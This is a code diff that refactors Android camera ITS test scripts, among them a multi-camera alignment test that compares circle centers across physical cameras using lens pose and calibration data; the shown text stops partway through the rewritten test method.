-            fmt_iter = fmt["iter"]
-            fmt_cmpr = fmt["cmpr"]
-            dual_target = fmt_cmpr is not "none"
-            # Get the size of "cmpr"
-            if dual_target:
-                sizes = its.objects.get_available_output_sizes(
-                        fmt_cmpr, props, fmt["cmpr_size"])
-                if not sizes:  # device might not support RAW
-                    continue
-                size_cmpr = sizes[0]
-            for size_iter in its.objects.get_available_output_sizes(
-                    fmt_iter, props, fmt["iter_max"]):
-                w_iter = size_iter[0]
-                h_iter = size_iter[1]
-                # Skip testing same format/size combination
-                # ITS does not handle that properly now
-                if (dual_target
-                            and w_iter*h_iter == size_cmpr[0]*size_cmpr[1]
-                            and fmt_iter == fmt_cmpr):
-                    continue
-                out_surface = [{"width": w_iter,
-                                "height": h_iter,
-                                "format": fmt_iter}]
-                if dual_target:
-                    out_surface.append({"width": size_cmpr[0],
-                                        "height": size_cmpr[1],
-                                        "format": fmt_cmpr})
-                cap = cam.do_capture(req, out_surface)
-                if dual_target:
-                    frm_iter = cap[0]
-                else:
-                    frm_iter = cap
-                assert frm_iter["format"] == fmt_iter
-                assert frm_iter["width"] == w_iter
-                assert frm_iter["height"] == h_iter
-                print "Captured %s with %s %dx%d. Compared size: %dx%d" % (
-                        fmt_iter, fmt_cmpr, w_iter, h_iter, size_cmpr[0],
-                        size_cmpr[1])
-                img = its.image.convert_capture_to_rgb_image(frm_iter)
-                img_name = "%s_%s_with_%s_w%d_h%d.png" % (NAME,
-                                                          fmt_iter, fmt_cmpr,
-                                                          w_iter, h_iter)
-                aspect_ratio, cc_ct, (cc_w, cc_h) = measure_aspect_ratio(
-                        img, img_name, raw_avlb, debug)
-                # check fov coverage for all fmts in AR_CHECKED
-                fov_percent = calc_circle_image_ratio(
-                        cc_w, cc_h, w_iter, h_iter)
-                chk_percent = calc_expected_circle_image_ratio(ref_fov, w_iter, h_iter)
-                chk_enabled = is_checked_aspect_ratio(first_api, w_iter, h_iter)
-                if chk_enabled and not np.isclose(fov_percent, chk_percent,
-                                                  rtol=FOV_PERCENT_RTOL):
-                    msg = "FoV %%: %.2f, Ref FoV %%: %.2f, " % (
-                            fov_percent, chk_percent)
-                    msg += "TOL=%.f%%, img: %dx%d, ref: %dx%d" % (
-                            FOV_PERCENT_RTOL*100, w_iter, h_iter,
-                            ref_fov["w"], ref_fov["h"])
-                    failed_fov.append(msg)
-                    its.image.write_image(img/255, img_name, True)
-
-                # check pass/fail for aspect ratio
-                # image size: the larger one of image width and height
-                # image size >= LARGE_SIZE: use THRESH_L_AR
-                # image size == 0 (extreme case): THRESH_XS_AR
-                # 0 < image size < LARGE_SIZE: scale between THRESH_XS_AR
-                # and THRESH_L_AR
-                thres_ar_test = max(
-                        THRESH_L_AR, THRESH_XS_AR + max(w_iter, h_iter) *
-                        (THRESH_L_AR-THRESH_XS_AR)/LARGE_SIZE)
-                thres_range_ar = (aspect_ratio_gt-thres_ar_test,
-                                  aspect_ratio_gt+thres_ar_test)
-                if (aspect_ratio < thres_range_ar[0] or
-                            aspect_ratio > thres_range_ar[1]):
-                    failed_ar.append({"fmt_iter": fmt_iter,
-                                      "fmt_cmpr": fmt_cmpr,
-                                      "w": w_iter, "h": h_iter,
-                                      "ar": aspect_ratio,
-                                      "valid_range": thres_range_ar})
-                    its.image.write_image(img/255, img_name, True)
-
-                # check pass/fail for crop
-                if run_crop_test:
-                    # image size >= LARGE_SIZE: use thres_l_cp_test
-                    # image size == 0 (extreme case): thres_xs_cp_test
-                    # 0 < image size < LARGE_SIZE: scale between
-                    # thres_xs_cp_test and thres_l_cp_test
-                    # Also, allow at least THRESH_MIN_PIXEL off to
-                    # prevent threshold being too tight for very
-                    # small circle
-                    thres_hori_cp_test = max(
-                            thres_l_cp_test, thres_xs_cp_test + w_iter *
-                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
-                    min_threshold_h = THRESH_MIN_PIXEL / cc_w
-                    thres_hori_cp_test = max(thres_hori_cp_test,
-                                             min_threshold_h)
-                    thres_range_h_cp = (cc_ct_gt["hori"]-thres_hori_cp_test,
-                                        cc_ct_gt["hori"]+thres_hori_cp_test)
-                    thres_vert_cp_test = max(
-                            thres_l_cp_test, thres_xs_cp_test + h_iter *
-                            (thres_l_cp_test-thres_xs_cp_test)/LARGE_SIZE)
-                    min_threshold_v = THRESH_MIN_PIXEL / cc_h
-                    thres_vert_cp_test = max(thres_vert_cp_test,
-                                             min_threshold_v)
-                    thres_range_v_cp = (cc_ct_gt["vert"]-thres_vert_cp_test,
-                                        cc_ct_gt["vert"]+thres_vert_cp_test)
-                    if (cc_ct["hori"] < thres_range_h_cp[0]
-                                or cc_ct["hori"] > thres_range_h_cp[1]
-                                or cc_ct["vert"] < thres_range_v_cp[0]
-                                or cc_ct["vert"] > thres_range_v_cp[1]):
-                        failed_crop.append({"fmt_iter": fmt_iter,
-                                            "fmt_cmpr": fmt_cmpr,
-                                            "w": w_iter, "h": h_iter,
-                                            "ct_hori": cc_ct["hori"],
-                                            "ct_vert": cc_ct["vert"],
-                                            "valid_range_h": thres_range_h_cp,
-                                            "valid_range_v": thres_range_v_cp})
-                        its.image.write_image(img/255, img_name, True)
-
-        # Print failed any test results
-        print_failed_test_results(failed_ar, failed_fov, failed_crop)
-        assert not failed_ar
-        assert not failed_fov
-        if level3_device:
-            assert not failed_crop
-
-
-if __name__ == "__main__":
-    main()
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 7ca6e24..1016687 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -11,626 +11,562 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verify multi-camera alignment using internal parameters."""
 
+
+import logging
 import math
 import os.path
-import re
-import sys
-import cv2
-
-import its.caps
-import its.cv2image
-import its.device
-import its.image
-import its.objects
-
+from mobly import test_runner
 import numpy as np
 
-ALIGN_ATOL_MM = 10E-3  # mm
-ALIGN_RTOL = 0.01  # multiplied by sensor diagonal to convert to pixels
-CIRCLE_RTOL = 0.1
-GYRO_REFERENCE = 1
+import cv2
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import opencv_processing_utils
+
+ALIGN_TOL_MM = 4.0  # mm
+ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+CIRCLE_COLOR = 0  # [0: black, 255: white]
+CIRCLE_MIN_AREA = 0.01  # multiplied by image size
+CIRCLE_RTOL = 0.1  # 10%
+CM_TO_M = 1E-2
+FMT_CODE_RAW = 0x20
+FMT_CODE_YUV = 0x23
 LENS_FACING_BACK = 1  # 0: FRONT, 1: BACK, 2: EXTERNAL
-UNDEFINED_REFERENCE = 2
-NAME = os.path.basename(__file__).split('.')[0]
-TRANS_REF_MATRIX = np.array([0, 0, 0])
+M_TO_MM = 1E3
+MM_TO_UM = 1E3
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+REFERENCE_GYRO = 1
+REFERENCE_UNDEFINED = 2
+TRANS_MATRIX_REF = np.array([0, 0, 0])  # translation matrix for ref cam is 000
+
+
+def convert_cap_and_prep_img(cap, props, fmt, img_name, debug):
+  """Convert the capture to an RGB image and prep image.
+
+  Args:
+    cap: capture element
+    props: dict of capture properties
+    fmt: capture format ('raw' or 'yuv')
+    img_name: name to save image as
+    debug: boolean for debug mode
+
+  Returns:
+    img uint8 numpy array
+  """
+
+  img = image_processing_utils.convert_capture_to_rgb_image(cap, props=props)
+
+  # save images if debug
+  if debug:
+    image_processing_utils.write_image(img, img_name)
+
+  # convert to [0, 255] images and cast as uint8
+  img *= 255
+  img = img.astype(np.uint8)
+
+  # scale to match calibration data if RAW
+  if fmt == 'raw':
+    img = cv2.resize(img, None, fx=2, fy=2)
+
+  return img
+
+
+def calc_pixel_size(props):
+  ar = props['android.sensor.info.pixelArraySize']
+  sensor_size = props['android.sensor.info.physicalSize']
+  pixel_size_w = sensor_size['width'] / ar['width']
+  pixel_size_h = sensor_size['height'] / ar['height']
+  logging.debug('pixel size(um): %.2f x %.2f',
+                pixel_size_w * MM_TO_UM, pixel_size_h * MM_TO_UM)
+  return (pixel_size_w + pixel_size_h) / 2 * MM_TO_UM
 
 
 def select_ids_to_test(ids, props, chart_distance):
-    """Determine the best 2 cameras to test for the rig used.
+  """Determine the best 2 cameras to test for the rig used.
 
-    Cameras are pre-filtered to only include supportable cameras.
-    Supportable cameras are: YUV(RGB), RAW(Bayer)
+  Cameras are pre-filtered to only include supportable cameras.
+  Supportable cameras are: YUV(RGB), RAW(Bayer)
 
-    Args:
-        ids:            unicode string; physical camera ids
-        props:          dict; physical camera properties dictionary
-        chart_distance: float; distance to chart in meters
-    Returns:
-        test_ids to be tested
-    """
-    chart_distance = abs(chart_distance)*100  # convert M to CM
-    test_ids = []
-    for i in ids:
-        sensor_size = props[i]['android.sensor.info.physicalSize']
-        focal_l = props[i]['android.lens.info.availableFocalLengths'][0]
-        diag = math.sqrt(sensor_size['height'] ** 2 +
-                         sensor_size['width'] ** 2)
-        fov = round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2)
-        print 'Camera: %s, FoV: %.2f, chart_distance: %.1fcm' % (
-                i, fov, chart_distance)
-        # determine best combo with rig used or recommend different rig
-        if its.cv2image.FOV_THRESH_TELE < fov < its.cv2image.FOV_THRESH_WFOV:
-            test_ids.append(i)  # RFoV camera
-        elif fov < its.cv2image.FOV_THRESH_SUPER_TELE:
-            print 'Skipping camera. Not appropriate multi-camera testing.'
-            continue  # super-TELE camera
-        elif (fov <= its.cv2image.FOV_THRESH_TELE and
-              np.isclose(chart_distance, its.cv2image.CHART_DISTANCE_RFOV, rtol=0.1)):
-            test_ids.append(i)  # TELE camera in RFoV rig
-        elif (fov >= its.cv2image.FOV_THRESH_WFOV and
-              np.isclose(chart_distance, its.cv2image.CHART_DISTANCE_WFOV, rtol=0.1)):
-            test_ids.append(i)  # WFoV camera in WFoV rig
-        else:
-            print 'Skipping camera. Not appropriate for test rig.'
+  Args:
+    ids: unicode string; physical camera ids
+    props: dict; physical camera properties dictionary
+    chart_distance: float; distance to chart in meters
+  Returns:
+    test_ids to be tested
+  """
+  chart_distance = abs(chart_distance)*100  # convert M to CM
+  test_ids = []
+  for i in ids:
+    sensor_size = props[i]['android.sensor.info.physicalSize']
+    focal_l = props[i]['android.lens.info.availableFocalLengths'][0]
+    diag = math.sqrt(sensor_size['height'] ** 2 + sensor_size['width'] ** 2)
+    fov = round(2 * math.degrees(math.atan(diag / (2 * focal_l))), 2)
+    logging.debug('Camera: %s, FoV: %.2f, chart_distance: %.1fcm', i, fov,
+                  chart_distance)
+    # determine best combo with rig used or recommend different rig
+    if (opencv_processing_utils.FOV_THRESH_TELE < fov <
+        opencv_processing_utils.FOV_THRESH_WFOV):
+      test_ids.append(i)  # RFoV camera
+    elif fov < opencv_processing_utils.FOV_THRESH_SUPER_TELE:
+      logging.debug('Skipping camera. Not appropriate multi-camera testing.')
+      continue  # super-TELE camera
+    elif (fov <= opencv_processing_utils.FOV_THRESH_TELE and
+          np.isclose(chart_distance,
+                     opencv_processing_utils.CHART_DISTANCE_RFOV, rtol=0.1)):
+      test_ids.append(i)  # TELE camera in RFoV rig
+    elif (fov >= opencv_processing_utils.FOV_THRESH_WFOV and
+          np.isclose(chart_distance,
+                     opencv_processing_utils.CHART_DISTANCE_WFOV, rtol=0.1)):
+      test_ids.append(i)  # WFoV camera in WFoV rig
+    else:
+      logging.debug('Skipping camera. Not appropriate for test rig.')
 
-    e_msg = 'Error: started with 2+ cameras, reduced to <2. Wrong test rig?'
-    e_msg += '\ntest_ids: %s' % str(test_ids)
-    assert len(test_ids) >= 2, e_msg
-    return test_ids[0:2]
+  e_msg = 'Error: started with 2+ cameras, reduced to <2. Wrong test rig?'
+  e_msg += '\ntest_ids: %s' % str(test_ids)
+  assert len(test_ids) >= 2, e_msg
+  return test_ids[0:2]
 
 
 def determine_valid_out_surfaces(cam, props, fmt, cap_camera_ids, sizes):
-    """Determine a valid output surfaces for captures.
+  """Determine a valid output surfaces for captures.
 
-    Args:
-        cam:                obj; camera object
-        props:              dict; props for the physical cameras
-        fmt:                str; capture format ('yuv' or 'raw')
-        cap_camera_ids:     list; camera capture ids
-        sizes:              dict; valid physical sizes for the cap_camera_ids
+  Args:
+    cam:                obj; camera object
+    props:              dict; props for the physical cameras
+    fmt:                str; capture format ('yuv' or 'raw')
+    cap_camera_ids:     list; camera capture ids
+    sizes:              dict; valid physical sizes for the cap_camera_ids
 
-    Returns:
-        valid out_surfaces
-    """
-    valid_stream_combo = False
+  Returns:
+    valid out_surfaces
+  """
+  valid_stream_combo = False
 
-    # try simultaneous capture
-    w, h = its.objects.get_available_output_sizes('yuv', props)[0]
-    out_surfaces = [{'format': 'yuv', 'width': w, 'height': h},
-                    {'format': fmt, 'physicalCamera': cap_camera_ids[0],
-                     'width': sizes[cap_camera_ids[0]][0],
-                     'height': sizes[cap_camera_ids[0]][1]},
-                    {'format': fmt, 'physicalCamera': cap_camera_ids[1],
-                     'width': sizes[cap_camera_ids[1]][0],
-                     'height': sizes[cap_camera_ids[1]][1]},]
-    valid_stream_combo = cam.is_stream_combination_supported(out_surfaces)
+  # try simultaneous capture
+  w, h = capture_request_utils.get_available_output_sizes('yuv', props)[0]
+  out_surfaces = [{'format': 'yuv', 'width': w, 'height': h},
+                  {'format': fmt, 'physicalCamera': cap_camera_ids[0],
+                   'width': sizes[cap_camera_ids[0]][0],
+                   'height': sizes[cap_camera_ids[0]][1]},
+                  {'format': fmt, 'physicalCamera': cap_camera_ids[1],
+                   'width': sizes[cap_camera_ids[1]][0],
+                   'height': sizes[cap_camera_ids[1]][1]},]
+  valid_stream_combo = cam.is_stream_combination_supported(out_surfaces)
 
-    # try each camera individually
-    if not valid_stream_combo:
-        out_surfaces = []
-        for cap_id in cap_camera_ids:
-            out_surface = {'format': fmt, 'physicalCamera': cap_id,
-                           'width': sizes[cap_id][0],
-                           'height': sizes[cap_id][1]}
-            valid_stream_combo = cam.is_stream_combination_supported(out_surface)
-            if valid_stream_combo:
-                out_surfaces.append(out_surface)
-            else:
-                its.caps.skip_unless(valid_stream_combo)
+  # try each camera individually
+  if not valid_stream_combo:
+    out_surfaces = []
+    for cap_id in cap_camera_ids:
+      out_surface = {'format': fmt, 'physicalCamera': cap_id,
+                     'width': sizes[cap_id][0],
+                     'height': sizes[cap_id][1]}
+      valid_stream_combo = cam.is_stream_combination_supported(out_surface)
+      if valid_stream_combo:
+        out_surfaces.append(out_surface)
+      else:
+        camera_properties_utils.skip_unless(valid_stream_combo)
 
-    return out_surfaces
+  return out_surfaces
 
 
-def take_images(cam, caps, props, fmt, cap_camera_ids, out_surfaces, debug):
-    """Do image captures.
+def take_images(cam, caps, props, fmt, cap_camera_ids, out_surfaces, log_path,
+                debug):
+  """Do image captures.
 
-    Args:
-        cam:                obj; camera object
-        caps:               dict; capture results indexed by (fmt, id)
-        props:              dict; props for the physical cameras
-        fmt:                str; capture format ('yuv' or 'raw')
-        cap_camera_ids:     list; camera capture ids
-        out_surfaces:       list; valid output surfaces for caps
-        debug:              bool; determine if debug mode or not.
+  Args:
+    cam: obj; camera object
+    caps: dict; capture results indexed by (fmt, id)
+    props: dict; props for the physical cameras
+    fmt: str; capture format ('yuv' or 'raw')
+    cap_camera_ids: list; camera capture ids
+    out_surfaces: list; valid output surfaces for caps
+    log_path: str; location to save files
+    debug: bool; determine if debug mode or not.
 
-    Returns:
-        caps                dict; capture information indexed by (fmt, cap_id)
-    """
+  Returns:
+    caps: dict; capture information indexed by (fmt, cap_id)
+  """
 
-    print 'out_surfaces:', out_surfaces
-    if len(out_surfaces) == 3:  # do simultaneous capture
-        # Do 3A and get the values
-        s, e, _, _, fd = cam.do_3a(get_results=True, lock_ae=True,
-                                   lock_awb=True)
-        if fmt == 'raw':
-            e *= 2  # brighten RAW images
+  logging.debug('out_surfaces: %s', str(out_surfaces))
+  if len(out_surfaces) == 3:  # do simultaneous capture
+    # Do 3A and get the values
+    s, e, _, _, fd = cam.do_3a(get_results=True, lock_ae=True, lock_awb=True)
+    if fmt == 'raw':
+      e *= 2  # brighten RAW images
 
-        req = its.objects.manual_capture_request(s, e, fd)
-        _, caps[(fmt, cap_camera_ids[0])], caps[(fmt, cap_camera_ids[1])] = cam.do_capture(
-                req, out_surfaces)
+    req = capture_request_utils.manual_capture_request(s, e, fd)
+    _, caps[(fmt,
+             cap_camera_ids[0])], caps[(fmt,
+                                        cap_camera_ids[1])] = cam.do_capture(
+                                            req, out_surfaces)
 
-    else:  # step through cameras individually
-        for i, out_surface in enumerate(out_surfaces):
-            # Do 3A and get the values
-            s, e, _, _, fd = cam.do_3a(get_results=True,
-                                       lock_ae=True, lock_awb=True)
-            if fmt == 'raw':
-                e *= 2  # brighten RAW images
+  else:  # step through cameras individually
+    for i, out_surface in enumerate(out_surfaces):
+      # Do 3A and get the values
+      s, e, _, _, fd = cam.do_3a(get_results=True,
+                                 lock_ae=True, lock_awb=True)
+      if fmt == 'raw':
+        e *= 2  # brighten RAW images
 
-            req = its.objects.manual_capture_request(s, e, fd)
-            caps[(fmt, cap_camera_ids[i])] = cam.do_capture(req, out_surface)
+      req = capture_request_utils.manual_capture_request(s, e, fd)
+      caps[(fmt, cap_camera_ids[i])] = cam.do_capture(req, out_surface)
 
-    # save images if debug
-    if debug:
-        for i in [0, 1]:
-            img = its.image.convert_capture_to_rgb_image(
-                    caps[(fmt, cap_camera_ids[i])], props=props[cap_camera_ids[i]])
-            its.image.write_image(img, '%s_%s_%s.jpg' % (
-                    NAME, fmt, cap_camera_ids[i]))
+  # save images if debug
+  if debug:
+    for i in [0, 1]:
+      img = image_processing_utils.convert_capture_to_rgb_image(
+          caps[(fmt, cap_camera_ids[i])], props=props[cap_camera_ids[i]])
+      image_processing_utils.write_image(img, '%s_%s_%s.jpg' % (
+          os.path.join(log_path, NAME), fmt, cap_camera_ids[i]))
 
-    return caps
+  return caps
+
+
+def undo_zoom(cap, props, circle):
+  """Correct coordinates and size of circle for zoom.
+
+  Assume that the maximum physical YUV image size is close to active array size.
+
+  Args:
+    cap: camera capture element
+    props: camera properties
+    circle: dict of circle values
+  Returns:
+    unzoomed circle dict
+  """
+  aa = props['android.sensor.info.activeArraySize']
+  aa_w = aa['right'] - aa['left']
+  aa_h = aa['bottom'] - aa['top']
+  cr = cap['metadata']['android.scaler.cropRegion']
+  cr_w = cr['right'] - cr['left']
+  cr_h = cr['bottom'] - cr['top']
+
+  # Assume pixels square after zoom. Use same zoom ratios for x and y.
+  zoom_ratio = min(aa_w / cr_w, aa_h / cr_h)
+  circle['x'] = cr['left'] + circle['x'] / zoom_ratio
+  circle['y'] = cr['top'] + circle['y'] / zoom_ratio
+  circle['r'] = circle['r'] / zoom_ratio
+
+  return circle
 
 
 def convert_to_world_coordinates(x, y, r, t, k, z_w):
-    """Convert x,y coordinates to world coordinates.
+  """Convert x,y coordinates to world coordinates.
 
-    Conversion equation is:
-    A = [[x*r[2][0] - dot(k_row0, r_col0), x*r_[2][1] - dot(k_row0, r_col1)],
-         [y*r[2][0] - dot(k_row1, r_col0), y*r_[2][1] - dot(k_row1, r_col1)]]
-    b = [[z_w*dot(k_row0, r_col2) + dot(k_row0, t) - x*(r[2][2]*z_w + t[2])],
-         [z_w*dot(k_row1, r_col2) + dot(k_row1, t) - y*(r[2][2]*z_w + t[2])]]
+  Conversion equation is:
+  A = [[x*r[2][0] - dot(k_row0, r_col0), x*r_[2][1] - dot(k_row0, r_col1)],
+       [y*r[2][0] - dot(k_row1, r_col0), y*r_[2][1] - dot(k_row1, r_col1)]]
+  b = [[z_w*dot(k_row0, r_col2) + dot(k_row0, t) - x*(r[2][2]*z_w + t[2])],
+       [z_w*dot(k_row1, r_col2) + dot(k_row1, t) - y*(r[2][2]*z_w + t[2])]]
 
-    [[x_w], [y_w]] = inv(A) * b
+  [[x_w], [y_w]] = inv(A) * b
 
-    Args:
-        x:      x location in pixel space
-        y:      y location in pixel space
-        r:      rotation matrix
-        t:      translation matrix
-        k:      intrinsic matrix
-        z_w:    z distance in world space
+  Args:
+    x: x location in pixel space
+    y: y location in pixel space
+    r: rotation matrix
+    t: translation matrix
+    k: intrinsic matrix
+    z_w: z distance in world space
 
-    Returns:
-        x_w:    x in meters in world space
-        y_w:    y in meters in world space
-    """
-    c_1 = r[2, 2] * z_w + t[2]
-    k_x1 = np.dot(k[0, :], r[:, 0])
-    k_x2 = np.dot(k[0, :], r[:, 1])
-    k_x3 = z_w * np.dot(k[0, :], r[:, 2]) + np.dot(k[0, :], t)
-    k_y1 = np.dot(k[1, :], r[:, 0])
-    k_y2 = np.dot(k[1, :], r[:, 1])
-    k_y3 = z_w * np.dot(k[1, :], r[:, 2]) + np.dot(k[1, :], t)
+  Returns:
+    x_w:    x in meters in world space
+    y_w:    y in meters in world space
+  """
+  c_1 = r[2, 2] * z_w + t[2]
+  k_x1 = np.dot(k[0, :], r[:, 0])
+  k_x2 = np.dot(k[0, :], r[:, 1])
+  k_x3 = z_w * np.dot(k[0, :], r[:, 2]) + np.dot(k[0, :], t)
+  k_y1 = np.dot(k[1, :], r[:, 0])
+  k_y2 = np.dot(k[1, :], r[:, 1])
+  k_y3 = z_w * np.dot(k[1, :], r[:, 2]) + np.dot(k[1, :], t)
 
-    a = np.array([[x*r[2][0]-k_x1, x*r[2][1]-k_x2],
-                  [y*r[2][0]-k_y1, y*r[2][1]-k_y2]])
-    b = np.array([[k_x3-x*c_1], [k_y3-y*c_1]])
-    return np.dot(np.linalg.inv(a), b)
+  a = np.array([[x*r[2][0]-k_x1, x*r[2][1]-k_x2],
+                [y*r[2][0]-k_y1, y*r[2][1]-k_y2]])
+  b = np.array([[k_x3-x*c_1], [k_y3-y*c_1]])
+  return np.dot(np.linalg.inv(a), b)
 
 
 def convert_to_image_coordinates(p_w, r, t, k):
-    p_c = np.dot(r, p_w) + t
-    p_h = np.dot(k, p_c)
-    return p_h[0] / p_h[2], p_h[1] / p_h[2]
-
-
-def rotation_matrix(rotation):
-    """Convert the rotation parameters to 3-axis data.
-
-    Args:
-        rotation:   android.lens.Rotation vector
-    Returns:
-        3x3 matrix w/ rotation parameters
-    """
-    x = rotation[0]
-    y = rotation[1]
-    z = rotation[2]
-    w = rotation[3]
-    return np.array([[1-2*y**2-2*z**2, 2*x*y-2*z*w, 2*x*z+2*y*w],
-                     [2*x*y+2*z*w, 1-2*x**2-2*z**2, 2*y*z-2*x*w],
-                     [2*x*z-2*y*w, 2*y*z+2*x*w, 1-2*x**2-2*y**2]])
-
-
-# TODO: merge find_circle() & test_aspect_ratio_and_crop.measure_aspect_ratio()
-# for a unified circle script that is and in pymodules/image.py
-def find_circle(gray, name):
-    """Find the black circle in the image.
-
-    Args:
-        gray:           numpy grayscale array with pixel values in [0,255].
-        name:           string of file name.
-    Returns:
-        circle:         {'x': val, 'y': val, 'r': val}
-    """
-    size = gray.shape
-    # otsu threshold to binarize the image
-    _, img_bw = cv2.threshold(np.uint8(gray), 0, 255,
-                              cv2.THRESH_BINARY + cv2.THRESH_OTSU)
-
-    # connected component
-    cv2_version = cv2.__version__
-    if cv2_version.startswith('3.'): # OpenCV 3.x
-        _, contours, hierarchy = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-    else: # OpenCV 2.x and 4.x
-        contours, hierarchy = cv2.findContours(
-                255-img_bw, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
-
-    # Check each component and find the black circle
-    min_cmpt = size[0] * size[1] * 0.005
-    max_cmpt = size[0] * size[1] * 0.35
-    num_circle = 0
-    for ct, hrch in zip(contours, hierarchy[0]):
-        # The radius of the circle is 1/3 of the length of the square, meaning
-        # around 1/3 of the area of the square
-        # Parental component should exist and the area is acceptable.
-        # The contour of a circle should have at least 5 points
-        child_area = cv2.contourArea(ct)
-        if (hrch[3] == -1 or child_area < min_cmpt or child_area > max_cmpt
-                    or len(ct) < 15):
-            continue
-        # Check the shapes of current component and its parent
-        child_shape = its.cv2image.component_shape(ct)
-        parent = hrch[3]
-        prt_shape = its.cv2image.component_shape(contours[parent])
-        prt_area = cv2.contourArea(contours[parent])
-        dist_x = abs(child_shape['ctx']-prt_shape['ctx'])
-        dist_y = abs(child_shape['cty']-prt_shape['cty'])
-        # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
-        # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
-        # 3. Child's width > 0.075*Image width
-        # 4. Child's height > 0.075*Image height
-        # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
-        # 6. Child == 0, and Parent == 255
-        # 7. Center of Child and center of parent should overlap
-        if (prt_shape['width'] * 0.56 < child_shape['width']
-                    < prt_shape['width'] * 0.76
-                    and prt_shape['height'] * 0.56 < child_shape['height']
-                    < prt_shape['height'] * 0.76
-                    and child_shape['width'] > 0.075 * size[1]
-                    and child_shape['height'] > 0.075 * size[0]
-                    and 0.30 * prt_area < child_area < 0.50 * prt_area
-                    and img_bw[child_shape['cty']][child_shape['ctx']] == 0
-                    and img_bw[child_shape['top']][child_shape['left']] == 255
-                    and dist_x < 0.1 * child_shape['width']
-                    and dist_y < 0.1 * child_shape['height']):
-            # Calculate circle center and size
-            circle_ctx = float(child_shape['ctx'])
-            circle_cty = float(child_shape['cty'])
-            circle_w = float(child_shape['width'])
-            circle_h = float(child_shape['height'])
-            num_circle += 1
-            # If more than one circle found, break
-            if num_circle == 2:
-                break
-    its.image.write_image(gray[..., np.newaxis]/255.0, name)
-
-    if num_circle == 0:
-        print 'No black circle was detected. Please take pictures according',
-        print 'to instruction carefully!\n'
-        assert num_circle == 1
-
-    if num_circle > 1:
-        print 'More than one black circle was detected. Background of scene',
-        print 'may be too complex.\n'
-        assert num_circle == 1
-    return {'x': circle_ctx, 'y': circle_cty, 'r': (circle_w+circle_h)/4.0}
+  p_c = np.dot(r, p_w) + t
+  p_h = np.dot(k, p_c)
+  return p_h[0] / p_h[2], p_h[1] / p_h[2]
 
 
 def define_reference_camera(pose_reference, cam_reference):
-    """Determine the reference camera.
+  """Determine the reference camera.
 
-    Args:
-        pose_reference: 0 for cameras, 1 for gyro
-        cam_reference:  dict with key of physical camera and value True/False
-    Returns:
-        i_ref:          physical id of reference camera
-        i_2nd:          physical id of secondary camera
-    """
+  Args:
+    pose_reference: 0 for cameras, 1 for gyro
+    cam_reference: dict with key of physical camera and value True/False
+  Returns:
+    i_ref: physical id of reference camera
+    i_2nd: physical id of secondary camera
+  """
 
-    if pose_reference == GYRO_REFERENCE:
-        print 'pose_reference is GYRO'
-        i_ref = list(cam_reference.keys())[0]  # pick first camera as ref
-        i_2nd = list(cam_reference.keys())[1]
-    else:
-        print 'pose_reference is CAMERA'
-        num_ref_cameras = len([v for v in cam_reference.itervalues() if v])
-        e_msg = 'Too many/few reference cameras: %s' % str(cam_reference)
-        assert num_ref_cameras == 1, e_msg
-        i_ref = (k for (k, v) in cam_reference.iteritems() if v).next()
-        i_2nd = (k for (k, v) in cam_reference.iteritems() if not v).next()
-    return i_ref, i_2nd
+  if pose_reference == REFERENCE_GYRO:
+    logging.debug('pose_reference is GYRO')
+    i_ref = list(cam_reference.keys())[0]  # pick first camera as ref
+    i_2nd = list(cam_reference.keys())[1]
+  else:
+    logging.debug('pose_reference is CAMERA')
+    i_ref = next(k for (k, v) in cam_reference.items() if v)
+    i_2nd = next(k for (k, v) in cam_reference.items() if not v)
+  return i_ref, i_2nd
 
 
-def main():
-    """Test the multi camera system parameters related to camera spacing.
+class MultiCameraAlignmentTest(its_base_test.ItsBaseTest):
 
-    Using the multi-camera physical cameras, take a picture of scene4
-    (a black circle and surrounding square on a white background) with
-    one of the physical cameras. Then find the circle center. Using the
-    parameters:
-        android.lens.poseReference
-        android.lens.poseTranslation
-        android.lens.poseRotation
-        android.lens.instrinsicCalibration
-        android.lens.distortion (if available)
-    project the circle center to the world coordinates for each camera.
-    Compare the difference between the two cameras' circle centers in
-    world coordinates.
+  """Test the multi camera system parameters related to camera spacing.
 
-    Reproject the world coordinates back to pixel coordinates and compare
-    against originals as a validity check.
+  Using the multi-camera physical cameras, take a picture of scene4
+  (a black circle and surrounding square on a white background) with
+  one of the physical cameras. Then find the circle center and radius. Using
+  the parameters:
+      android.lens.poseReference
+      android.lens.poseTranslation
+      android.lens.poseRotation
+      android.lens.instrinsicCalibration
+      android.lens.distortion (if available)
+  project the circle center to the world coordinates for each camera.
+  Compare the difference between the two cameras' circle centers in
+  world coordinates.
 
-    Compare the circle sizes if the focal lengths of the cameras are
-    different using
-        android.lens.availableFocalLengths.
-    """
-    chart_distance = its.cv2image.CHART_DISTANCE_RFOV
-    for s in sys.argv[1:]:
-        if s[:5] == 'dist=' and len(s) > 5:
-            chart_distance = float(re.sub('cm', '', s[5:]))
-            print 'Using chart distance: %.1fcm' % chart_distance
-    chart_distance *= 1.0E-2
+  Reproject the world coordinates back to pixel coordinates and compare
+  against originals as a correctness check.
 
+  Compare the circle sizes if the focal lengths of the cameras are
+  different using
+      android.lens.availableFocalLengths.
+  """
+
+  def test_multi_camera_alignment(self):
     # capture images
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props) and
-                             its.caps.logical_multi_camera(props) and
-                             its.caps.backward_compatible(props))
-        debug = its.caps.debug_mode()
-        pose_reference = props['android.lens.poseReference']
